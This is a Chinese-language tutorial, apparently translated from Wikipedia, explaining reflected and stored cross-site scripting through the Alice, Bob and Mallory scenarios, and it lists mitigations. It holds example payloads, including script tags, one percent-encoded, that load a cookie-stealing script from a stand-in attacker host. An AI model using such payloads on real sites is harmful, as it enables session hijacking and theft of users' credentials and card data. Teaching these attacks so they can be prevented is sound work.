网络攻击
XSS(Cross Site Scripting:跨站点脚本)由于CSS已经用于层叠样式,故用X代替C,X有未知和扩展的含义
--当目标站点被用户访问,再渲染HTML的过程中,出现了一些没有预期到的脚本指令,并执行该脚本。
SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。类型
- 非持久性(反射型)
当Web客户端提供的数据(最常见于HTTP查询参数(例如HTML表单提交))被服务器端脚本立即用于解析和显示该用户的结果页面时,会出现这些漏洞,没有正确消毒请求。
- 持久(存储)
它在由攻击者所提供的数据是由服务器保存的,然后在“正常”的页面返回到其他用户永久地显示发生定期浏览的过程,没有正确的HTML转义。一个典型的例子是在线留言板,允许用户发布HTML格式的消息供其他用户阅读。
- 服务器端与基于DOM的漏洞
用例
非持久性
- Alice经常访问由Bob托管的特定网站。Bob的网站允许Alice使用用户名/密码对登录并存储敏感数据,例如账单信息。当用户登录时,浏览器会保留一个授权Cookie,它看起来像一些垃圾字符,因此两台计算机(客户端和服务器)都有一条她已登录的记录。
- Mallory观察到Bob的网站包含一个反映的XSS漏洞:
- 当她访问“搜索”页面时,她会在搜索框中输入搜索词,然后单击“提交”按钮。如果未找到任何结果,页面将显示她搜索的术语,后跟“未找到”字样,并且网址将为
http://bobssite.org/search?q=her search term
。 - 使用普通的搜索查询,例如单词“ puppies ”,页面只显示“ 未找到的小狗 ”,网址为“http://bobssite.org/search?q = puppies ” - 这是完全正常的行为。
- 但是,当她提交异常搜索查询时,如“ ”,
<script type='application/javascript'>alert('xss');</script>
- 出现一个警告框(表示“xss”)。
- 该页面显示“未找到”,以及带有文本“xss”的错误消息。
- 网址是“ - 这是可利用的行为。
http://bobssite.org/search?q=<script%20type='application/javascript'>alert('xss');</script>
- 当她访问“搜索”页面时,她会在搜索框中输入搜索词,然后单击“提交”按钮。如果未找到任何结果,页面将显示她搜索的术语,后跟“未找到”字样,并且网址将为
- Mallory制作了一个利用此漏洞的URL:
- 她制作了这个网址。她可以选择使用百分比编码对ASCII字符进行编码,例如,这样人类读者就无法立即破译恶意URL。
http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>
http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
- 她给鲍勃网站的一些毫无防备的成员发了一封电子邮件,说“看看一些可爱的小狗!”
- 她制作了这个网址。她可以选择使用百分比编码对ASCII字符进行编码,例如,这样人类读者就无法立即破译恶意URL。
- 爱丽丝收到电子邮件。她喜欢小狗并点击链接。它进入Bob的网站进行搜索,找不到任何内容,并显示“找不到小狗”但正好在中间,脚本标签运行(它在屏幕上看不见)并加载并运行Mallory的程序authstealer.js(触发) XSS攻击)。爱丽丝忘掉了它。
- authstealer.js程序在Alice的浏览器中运行,就像它来自Bob的网站一样。它抓取Alice的授权Cookie副本并将其发送到Mallory的服务器,Mallory在那里检索它。
- Mallory现在将Alice的授权Cookie放入她的浏览器中,就好像它是她自己的一样。然后她去了Bob的网站,现在以Alice身份登录。
- 现在她已进入,Mallory进入网站的账单部分,查找Alice的信用卡号码并抓取副本。然后她去改变她的密码,以便爱丽丝甚至不能再登录了。
- 她决定更进一步向Bob本人发送一个类似的链接,从而获得Bob的网站管理员权限。
可以采取一些措施来缓解这种攻击:
- 搜索输入可能已经过清理,其中包括正确的编码检查。
- 可以将Web服务器设置为重定向无效请求。
- Web服务器可以检测来自两个不同IP地址的同时登录并使会话无效。
- 该网站只能显示以前使用的信用卡的最后几位数字。
- 在更改注册信息之前,网站可能要求用户再次输入密码。
- 该网站可以制定内容安全政策的各个方面。
- 可以教育用户不要点击“良性外观”,而是点击恶意链接。
- 使用
HttpOnly
flag 设置cookie 以防止从JavaScript访问。
持续攻击
- Mallory在Bob的网站上获得了一个帐户。
- Mallory观察到Bob的网站包含存储的XSS漏洞。如果您转到新闻部分并发表评论,它将显示他为评论键入的任何内容。但是,如果注释文本中包含HTML标记,则标记将按原样显示,并且任何脚本标记都会运行。
- Mallory在“新闻”部分阅读了一篇文章,并在“评论”部分底部的评论中写道。在评论中,她插入了以下文字:
I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
- 当Alice(或其他任何人)使用评论加载页面时,Mallory的脚本标记会运行并窃取Alice的授权cookie,然后将其发送到Mallory的秘密服务器进行收集。
- 马洛里现在可以劫持爱丽丝的会话并冒充爱丽丝。
鲍勃的网站软件应该删除脚本标签或做一些事情以确保它不起作用,但安全漏洞是因为他没有。
预防措施
- 字符串输入的上下文输出编码/转义
- 安全验证不受信任的HTML输入
- HttpOnly标志cookie
参考文章:https://en.wikipedia.org/wiki/Cross-site_scripting#Emerging_defensive_technologies
CSRF

更多精彩